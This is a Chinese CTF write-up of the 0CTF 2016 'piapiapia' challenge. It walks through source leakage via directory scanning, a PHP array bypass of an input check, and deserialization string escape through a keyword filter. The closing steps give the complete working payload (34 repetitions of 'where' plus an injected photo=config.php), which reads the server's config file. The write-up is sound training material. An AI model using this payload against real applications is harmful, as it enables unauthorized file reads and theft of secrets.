# [0CTF 2016]piapiapia解題詳細思路及復現


[0CTF 2016]piapiapia解題詳細思路及復現

1. 知識點

  • 信息泄露
  • 參數傳遞數組繞過字符串檢測
  • 反序列化字符逃逸

2. 開始復現

2.1 初探題目

  • 開打題目連接我們可以看到是一個登錄頁面

不知道為啥我一看到登錄頁面就想SQL注入一波,我還是太年輕了。這道題沒有給出提示,SQL注入也不是沒有可能,嘗試一波之后放棄了,CTF直接登錄框就注入的還是不多。

  • 注冊賬號
    看來我們還是得老老實實得注冊個賬號來登錄看看有什么功能點,並且熟悉網站結構。但是在登錄頁面又沒有給出注冊按鈕,看來我們還得自己猜一下,通常是:/register.php。
  • 瀏覽功能
    登錄成功后我們看到是一個上傳個人信息的一個頁面,看到可以上傳圖片,第一時間就想到了文件上傳漏洞。我還是太年輕了,一波操作后沒有饒得過。上傳了一個正常的信息,發現跳轉到profile.php展示出來我們的信息
  • 目錄掃面
    功能都試過了,沒有可以利用的地方(是我太菜)。我們可以掃一下目錄,看看有什么隱藏的文件呀,信息泄露什么的,畢竟CTF很多題型是信息泄露+代碼審計嘛。拿出御劍掃描后,瀏覽網頁發現訪問太快了,返回429狀態碼。看了網上大佬們的Writeup發現dirsearch可以掃描出來www.zip,我試了下dirsearch要記得加延時參數。
    拿到了網站的源碼我們的信息收集差不多就完了,我們現在可以在源碼中尋找突破點

2.2 代碼審計

  • 熟悉網站結構
    我們拿到的源碼里的文件不是很多,class.php里有一些重要的函數,update.php和profile.php我們比較熟悉了,一個上傳文件,一個獲取文件。最重要的是config.php,我們看到flag在里面
  • 根據前端流程細看可疑函數
    注冊和登錄那一塊就不用看了吧,主要突破的地方是上傳資料和顯示資料那里。


    --- 首先是update.php
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

  一眼可以看出這里用了一堆正則表達式來過濾我們提交的數據,而且第三個正則表達式和前面兩個不一樣,這里判斷了nickname是否為字符還有長度是否超過10。用文章開頭的知識點二,如果我們傳入的nickname是一個數組,繞過長度的限制,則可以繞過這正則表達式,是我們不會die出。
  在代碼的后面調用update_profile處我們想到這個可能是將數據保存到數據庫,而且還用了php序列化serialize(),我們可以大膽的嘗試用反序列化漏洞來搞一下。
  我們再看看update_profile()到底是個啥,使用全局搜索我們在class.php中看到了定義的update_profile()方法

	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

  我們再繼續追尋下去
filter()

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

update()

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

  update.php我們基本上就搞清楚了,是先經過正則表達式將用戶提交的參數值過濾,然后序列化,然后將非法的值替換為'hacker'


--- 然后我們再看profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

  我們可以看到這里有反序列化還有文件讀取,我們對這道題應該有了大致的思路了。flag在config.php中,而且有序列化,過濾替換,反序列化,文件讀取,這不就是CTF中反序列字符逃逸的常見套路嗎。我們構造包含config.php的數據,利用字符串逃逸,在profile.php中讀取出來

2.3 反序列化字符逃逸知識補充

  • PHP反序列化字符逃逸
    舉個小例子
    序列化
<?php
$a = array('123', 'abc', 'defg');
var_dump(serialize($a));
?>

結果

string(49) "a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}" 

反序列化

<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>

運行結果

array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(4) "defg" } 

  我們可以看到在后端中,反序列化是一";}結束的,如果我們把";}帶入需要反序列化的字符串中(除了結尾處),是不是就能讓反序列化提前結束后面的內容就丟棄了呢?
  我們把第二個值abc換成abc";i:2;s:5:"qwert";}

<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>

運行結果

array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(5) "qwert" } 

成功的反序列化出我們自己定義的內容,丟棄了原先的內容(i:2;s:4:"defg")
反序列化字符逃逸就先介紹到這里,我們回過頭來看一下題

  • 突破口
    我們發現一個問題,我們反序列化字符逃逸,首先序列化的字符是可控的,還有前面的長度是可控的。但update.php將參數序列化,我們可控變量的長度就已經寫死了,怎么才能去控制呢。這道題的突破口其實就是序列化過后數據過濾替換那里,看似更加安全,其實更加危險。
//過濾函數
	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

  這里是將'select', 'insert', 'update', 'delete', 'where'替換成'hacker',我們寫入where替換成hacker之后字符串實際的長度就+1,因此實際的長度大於序列化固定的長度(變量前面‘s’里的值)。利用反序列化字符串逃逸,反序列化時只能將字符串中nickname前面的s后面長度的字符串反序列化成功,這個是傳參的時候就固定好了。剩下的字符串我們構造成class.php因為里面包含了flag,並且讓他在photo位置上,然后把photo給扔掉,這樣在profile.php中讀取的photo就是我們構造的config.php了,也就是讀取到了flag
  簡單說就是利用后端的函數替換,導致實際長度增加,增加的部分(config.php)被擠了出來,到了photo的位置上,然后閉合。
  再舉個例方便大家理解

<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$a = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($b));
var_dump(unserialize($b));
?>

abc前面的s:3:不變,因為是序列化的時候固定了
我們將abc構造成:abc";i:2;s:5:"qwert";}我們再最后構造了一個閉合,導致defg被丟棄,qwert占用了defg原本的位置
  還是回到這一道題上,我們的目的是將";}s:5:"photo";s:10:"config.php";}插入序列化的字符串里面去,這個的長度為34,所以我們要擠出來34位,不然就成了nickname的值了。where會替換成hacker,長度加1,所以我們要構造34個where。然后去profile.php查看讀取的內容。

3.4 詳細步驟

  • 注冊賬戶
  • 登錄賬戶
  • 隨意提交一些資料抓包
  • 修改nickname為nickname[],數組繞過長度檢測
  • 修改nickname中的內容
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

  • 發包
  • 去profile.php查看讀取的文件,base64編碼


![](https://img2018.cnblogs.com/blog/1892536/202001/1892536-20200120014700352-539201348.png)

成功獲取falg

補充

  之前我傳入的是";s:5:"photo";s:10:"config.php";}結果失敗了,看了網上的一些文章,發現他們傳入的是";}s:5:"photo";s:10:"config.php";}為什么前面要多加一個},后來發現是因為我們nickname構造成了數組,而不是字符,所以要加}閉合一下。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM